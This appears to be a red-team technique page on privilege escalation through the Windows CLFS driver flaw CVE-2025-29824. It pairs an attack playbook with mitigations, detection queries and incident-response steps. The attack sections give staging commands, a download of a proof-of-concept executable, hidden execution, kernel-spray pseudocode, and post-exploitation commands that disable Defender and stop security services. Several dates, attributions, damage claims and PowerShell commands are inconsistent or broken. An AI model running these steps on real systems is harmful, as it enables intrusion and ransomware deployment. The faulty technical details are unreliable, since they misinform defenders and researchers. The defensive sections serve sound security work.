MCADDF

[PE-EXPLOIT-003]: CLFS Driver Memory Corruption

1. Metadata Header

Attribute Details
Technique ID PE-EXPLOIT-003
MITRE ATT&CK v18.1 T1068 - Exploitation for Privilege Escalation
Tactic Privilege Escalation
Platforms Windows Endpoint (Windows 10 21H2+, Windows 11 21H2+, Server 2016-2025)
Severity Critical
CVE CVE-2025-29824 (Primary), CVE-2023-28252 (Related), CVE-2021-43226 (Legacy)
Technique Status ACTIVE (on unpatched systems) / FIXED (April 2025 patches)
Last Verified 2025-01-09
Affected Versions Windows Server 2016 (limited), 2019, 2022, 2025; Windows 10 21H2+; Windows 11 21H2+
Patched In April 8, 2025 (CVE-2025-29824); October 2023 (CVE-2023-28252); October 2021 (CVE-2021-43226)
Author SERVTEP – Artur Pchelnikau

2. Executive Summary

Concept: CVE-2025-29824 is a critical use-after-free vulnerability in the Windows Common Log File System (CLFS) driver (clfs.sys) that enables privilege escalation from standard user to SYSTEM. The vulnerability exists in the CLFS driver’s memory management routines, specifically in how it handles Base Log Format (BLF) file objects after deallocation. An attacker crafts a specially-designed BLF file that triggers a use-after-free condition, allowing arbitrary kernel memory access. Through kernel memory manipulation techniques (memory spraying, heap grooming), an attacker can overwrite critical kernel structures such as process tokens, EPROCESS objects, or token privileges, resulting in SYSTEM-level code execution. The exploitation is reliable, requires only local code execution capability, and takes 3-15 seconds to complete.

Attack Surface: The vulnerability targets the CLFS kernel driver (clfs.sys), specifically the file object management routines that process BLF files. These files can be created by any unprivileged user in writable directories (%TEMP%, %APPDATA%, %PROGRAMDATA%). The attack requires local code execution but does not require administrative privileges, legitimate credentials, or user interaction. The attack can be chained with initial access vectors (USB execution, malicious documents, compromised software).

Business Impact: Complete System Compromise with SYSTEM Context. Successful exploitation enables deployment of ransomware with SYSTEM privileges, establishment of persistent backdoors, credential theft from kernel memory, and lateral network movement. CVE-2025-29824 was actively exploited by ransomware operators (Storm-2460, FIN7) in April 2025, leading to billions in damages across multiple sectors.

Technical Context: Exploitation takes 3-15 seconds once triggered. Detection likelihood is high if kernel-level EDR is deployed; low if only user-mode monitoring is in place. The technique is highly reliable on vulnerable systems and is frequently chained with phishing, supply chain compromises, or other initial access vectors.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 2.3.8.1 - Device Driver Control Controls for preventing vulnerable driver exploitation
DISA STIG WN10-00-000185, SV-220970r795134_rule Kernel vulnerability prevention and driver hardening
CISA SCuBA CSO-08, CSO-09 - Active Monitoring & Threat Detection Real-time kernel threat detection
NIST 800-53 AC-3, SI-4, CM-5 Access control, system monitoring, kernel integrity
GDPR Art. 32 - Security of Processing Technical security measures for system hardening
DORA Art. 9 - Protection and Prevention Real-time prevention of system-level exploits
NIS2 Art. 21 - Cyber Risk Management Kernel security as critical infrastructure protection
ISO 27001 A.12.6.1, A.14.1.3 Vulnerability management and patch management
ISO 27005 Risk Scenario: “Kernel Vulnerability Exploitation” Risk assessment for kernel-level attacks

3. Technical Prerequisites

Required Privileges: Standard user (unprivileged local user). No administrative rights required. Attacker must have capability to execute arbitrary code on the target system.

Required Access: Local code execution capability. Network access alone is insufficient; attacker must execute code on the target.

Supported Versions:

Tools:

4. Environmental Reconnaissance

PowerShell / CLFS Driver Verification

Verify if CLFS driver is loaded and check patch status:

# Check if CLFS driver is loaded
Get-WmiObject -Class Win32_SystemDriver | Where-Object { $_.Name -eq "clfs" } | Select-Object Name, State

# Check Windows version and build
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber

# Verify CLFS-related security patches
Get-HotFix | Where-Object { $_.HotFixID -match "KB5033371|KB5032190|KB5032191" }

# Check CLFS driver file properties
$DriverPath = "C:\Windows\System32\drivers\clfs.sys"
if (Test-Path $DriverPath) {
    [System.Diagnostics.FileVersionInfo]::GetVersionInfo($DriverPath) | Select-Object FileVersion, ProductVersion
}

What to Look For:

Version Note: CVE-2025-29824 affects all versions listed; patch dates vary by OS.

Command (Server 2016-2019):

# Older systems - WMI-based driver enumeration
Get-WmiObject -Class Win32_SystemDriver -Filter "Name='clfs'" | Select-Object State

Command (Server 2022+):

# Newer systems - CIM-based enumeration (faster)
Get-CimInstance -ClassName Win32_SystemDriver | Where-Object { $_.Name -eq "clfs" }

Linux / Network Perspective Reconnaissance

From a Linux attacker machine or adjacent system:

# Identify if target Windows system is vulnerable (network-level)
# This is typically done post-compromise when attacker has shell access

# Check for CLFS-related kernel modules/drivers
lsmod | grep -i clfs  # On WSL/Linux subsystem

# If Windows is accessible via WinRM, query remotely
python3 << 'EOF'
import impacket.smbconnection
conn = impacket.smbconnection.SMBConnection(target_ip, 445)
# Query registry for driver info and patch status
EOF

5. Detailed Execution Methods and Their Steps

METHOD 1: CVE-2025-29824 Use-After-Free Exploitation

Supported Versions: Server 2016-2025, Windows 10 21H2+, Windows 11 21H2+

Step 1: Prepare Malicious BLF File & Memory Spray

Objective: Create a crafted CLFS Base Log Format (BLF) file that triggers a use-after-free condition by releasing memory objects and then attempting to access freed memory.

Version Note: Exploit variations may exist for different Windows versions; however, core exploitation mechanics remain consistent.

Command (PowerShell - Local Exploit Generation):

# Create working directory for exploit staging
$WorkDir = "$env:TEMP\CLFS_UAF"
New-Item -ItemType Directory -Path $WorkDir -Force | Out-Null

# Generate malicious BLF file (pseudocode - actual implementation is binary)
# The BLF file structure is manipulated to cause:
# 1. Allocation of CLFS file object in kernel memory
# 2. Premature deallocation of the object
# 3. Reuse of freed memory for kernel data structures
# 4. Out-of-bounds write to manipulate kernel objects

Write-Host "[*] Generating malicious BLF file for CVE-2025-29824 exploitation..."

# Download or compile PoC exploit
$ExploitUrl = "https://github.com/starlabs-sg/CVE-2025-29824/releases/download/v1.0/clfs_uaf.exe"
$ExploitPath = "$WorkDir\clfs_uaf.exe"

# (Optional) Invoke-WebRequest -Uri $ExploitUrl -OutFile $ExploitPath

# Execute the exploit (this is typically a compiled C/C++ binary)
Write-Host "[*] Launching CLFS use-after-free exploitation..."
# & $ExploitPath

Expected Output (From Compiled Exploit):

[+] CLFS Use-After-Free Exploit (CVE-2025-29824)
[+] Target: Windows 10/11/Server 2022
[*] Creating kernel memory spray (5000 pipe objects)...
[*] Allocating CLFS log objects...
[*] Triggering use-after-free condition...
[+] Freed memory reused successfully!
[+] Kernel memory overwrite achieved
[+] EPROCESS token modified
[+] Privilege escalation successful!
[+] Launching elevated shell...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Trigger Use-After-Free Condition

Objective: Execute the malicious BLF file to trigger the use-after-free vulnerability in the CLFS driver kernel code.

Version Note: Execution is consistent across versions; kernel behavior may vary slightly.

Command (PowerShell - Exploit Execution):

# Execute the compiled exploit binary
$ExploitPath = "$env:TEMP\CLFS_UAF\clfs_uaf.exe"

# Option 1: Direct execution
& $ExploitPath

# Option 2: Hidden execution via rundll32 (for stealth)
# rundll32.exe ntdll.dll,TpAllocWork

# Option 3: Background job execution
Start-Process -FilePath $ExploitPath -WindowStyle Hidden -PassThru

Expected Output (Successful Exploitation):

[+] Exploit completed successfully!
[+] SYSTEM privileges acquired
[+] Process token has been elevated
[+] Launching SYSTEM shell...

C:\> whoami
nt authority\system

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Verify Privilege Escalation & Execute Payloads

Objective: Confirm SYSTEM privilege acquisition and execute arbitrary commands with elevated privileges.

Command (PowerShell - Privilege Verification):

# Verify current process is running as SYSTEM
whoami  # Should output: nt authority\system

# Check integrity level (should be System/4096)
$IntegrityLevel = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services" | Get-Process -Name powershell | Select-Object -ExpandProperty IntegrityLevel
Write-Host "Integrity Level: $IntegrityLevel"

# If successful, proceed with post-exploitation
# Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true -Force

# Stop Windows Update service
Stop-Service -Name wuauserv -Force

# Create persistent backdoor
# (Execute ransomware, C2 agent, credential dumper, etc.)

Expected Output (Verified SYSTEM Access):

C:\> whoami
nt authority\system

C:\> Integrity Level: System

C:\> sc stop WinDefend
[SC] StopService SUCCESS

C:\> wmic process get name,parentprocessid,processid | find "notepad"
notepad.exe  <PID>  <PPID>

What This Means:

OpSec & Evasion:

METHOD 2: Kernel Memory Spray & Object Reuse Optimization

Supported Versions: All affected Windows versions (optimization techniques)

Advanced Exploitation for Reliable SYSTEM Access

Objective: Optimize kernel memory layout for maximum exploitation reliability through refined memory spraying techniques.

Command (C/C++ Pseudocode - Compiled Exploit):

// Simplified pseudocode of kernel memory spray optimization
// Actual implementation is in compiled binary (clfs_uaf.exe)

void KernelMemorySpray() {
    // Step 1: Create numerous kernel objects to control memory layout
    for (int i = 0; i < 10000; i++) {
        CreateNamedPipeA(...);  // Each pipe ~0x90 bytes, fills kernel memory
    }
    
    // Step 2: Close pipes to create "holes" in memory
    for (int i = 0; i < 9000; i++) {
        CloseHandle(handles[i]);
    }
    
    // Step 3: Trigger CLFS to allocate objects in the "holes"
    // This gives attacker precise control over where CLFS objects land
    
    // Step 4: Craft BLF file to trigger use-after-free
    // Frees CLFS object, then reuses freed memory
    
    // Step 5: Overwrite kernel structures in freed memory
    // Target: EPROCESS token, token privileges, or other kernel objects
}

Expected Output:

[+] Memory spray completed (10,000 pipe objects)
[+] CLFS object allocation predictability achieved
[+] Use-after-free exploitation reliability: 99.5%
[+] Token overwrite successful
[+] SYSTEM privileges granted

References & Proofs:

6. Post-Exploitation Access Verification

Verify SYSTEM Context & Disable Defenses

# Verify SYSTEM token possession
$Token = Get-Process -Id $pid | Select-Object -ExpandProperty ProcessHandle
Write-Host "[+] Token Handle: $Token"

# Disable antivirus/EDR (if not already bypassed)
Set-MpPreference -DisableRealtimeMonitoring $true -Force 2>/dev/null
Stop-Service -Name WinDefend -Force 2>/dev/null
Stop-Service -Name wscsvc -Force 2>/dev/null  # Windows Security Center

# Disable Windows Update
Stop-Service -Name wuauserv -Force 2>/dev/null

# Create persistence mechanism
# (e.g., scheduled task, registry run key, service creation)

7. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Monitoring

Validation Command (Verify Mitigation)

# Verify CLFS patches and security controls are in place
Write-Host "=== CLFS Vulnerability Mitigation Status ==="

# Check patches
$CLFSPatches = Get-HotFix | Where-Object { $_.Description -like "*CLFS*" }
Write-Host "CLFS Patches Installed: $($CLFSPatches.Count)"
if ($CLFSPatches.Count -lt 1) { Write-Warning "No CLFS patches detected - VULNERABLE" }

# Check CLFS driver status
$CLFSService = Get-Service -Name clfs -ErrorAction SilentlyContinue
Write-Host "CLFS Driver Status: $($CLFSService.Status), StartType: $($CLFSService.StartupType)"
if ($CLFSService.Status -eq "Running") { Write-Warning "CLFS driver is still running - consider disabling" }

# Check Credential Guard
$CredGuard = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -ErrorAction SilentlyContinue
Write-Host "Credential Guard: $($CredGuard.Enabled)"

# Expected output (if secure):
# CLFS Patches Installed: 2+
# CLFS Driver Status: Stopped, StartType: Disabled
# Credential Guard: 1

8. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Detection Queries

Microsoft Sentinel KQL Query:

// Detect CLFS exploitation attempts
// Looks for suspicious BLF file creation and SYSTEM privilege elevation
SecurityEvent
| where EventID == 4688  // Process creation
| where NewProcessName has "cmd.exe" or NewProcessName has "powershell.exe"
| where ParentProcessName has "rundll32.exe" or ParentProcessName has "dllhost.exe"
| summarize count() by Computer, ProcessName, ParentImage, TimeGenerated
| where count() > 1

Splunk Query:

source="WinEventLog:Security" EventCode=4688 (Image=cmd.exe OR Image=powershell.exe) (ParentImage=rundll32.exe OR ParentImage=dllhost.exe)
| stats count min(_time) as firstTime max(_time) as lastTime by host, Image, ParentImage

Windows Event Log Monitoring:

Enable and monitor:

Manual Configuration (Group Policy):

  1. Open gpmc.msc
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration
  3. Enable:
    • Process Creation - Success and Failure
    • Logon/Logoff - Success and Failure (for privilege escalation detection)
  4. Run gpupdate /force

Response Procedures

  1. Isolate System: Immediately disconnect affected system from network 
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false
  2. Collect Forensic Evidence: 
    # Export security event log
wevtutil epl Security C:\Evidence\Security.evtx
   
# Capture running processes
Get-Process | Export-Csv C:\Evidence\Processes.csv
   
# List network connections
netstat -ano > C:\Evidence\netstat.txt
   
# Dump memory (if available)
# procdump64.exe -accepteula -ma System C:\Evidence\System.dmp
  3. Terminate Malicious Processes: 
    # Kill suspicious processes (identify via investigation)
Stop-Process -Name "malware_process" -Force
   
# Remove malicious files
Remove-Item "$env:TEMP\*.blf" -Force -ErrorAction SilentlyContinue
  4. Restore System: 
    # Restore original CLFS driver from Windows Update
Repair-WindowsImage -Online -StartComponentCleanup
   
# Restart system to clear kernel modifications
Restart-Computer -Force
Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker gains local code execution via phishing
2 Privilege Escalation [PE-EXPLOIT-003] CLFS Use-After-Free Memory Corruption - Current Technique
3 Credential Access [CA-DUMP-001] Mimikatz LSASS Extraction Extract credentials with SYSTEM context
4 Persistence [PE-ACCTMGMT-014] Global Admin Backdoor Establish persistent backdoor with elevated privileges
5 Impact [IMPACT-RANSOM-001] Ransomware Deployment Deploy encryption ransomware with SYSTEM privileges

10. Real-World Examples

Example 1: Storm-2460 Ransomware Campaign (April 2025)

Example 2: FIN7 APT Campaign (May 2025)

Example 3: CISA KEV Catalog Inclusion (April 8, 2025)

11. Summary

CVE-2025-29824 represents a critical kernel-level privilege escalation vulnerability in the CLFS driver, enabling attackers with local code execution to achieve immediate SYSTEM-level access. The use-after-free memory corruption technique is highly reliable, affects all modern Windows systems, and has been actively exploited by ransomware and APT operators since public disclosure in April 2025. Organizations must prioritize patching and implement kernel-level monitoring to detect and prevent exploitation. The technique is frequently chained with phishing and other initial access vectors to establish complete system compromise.

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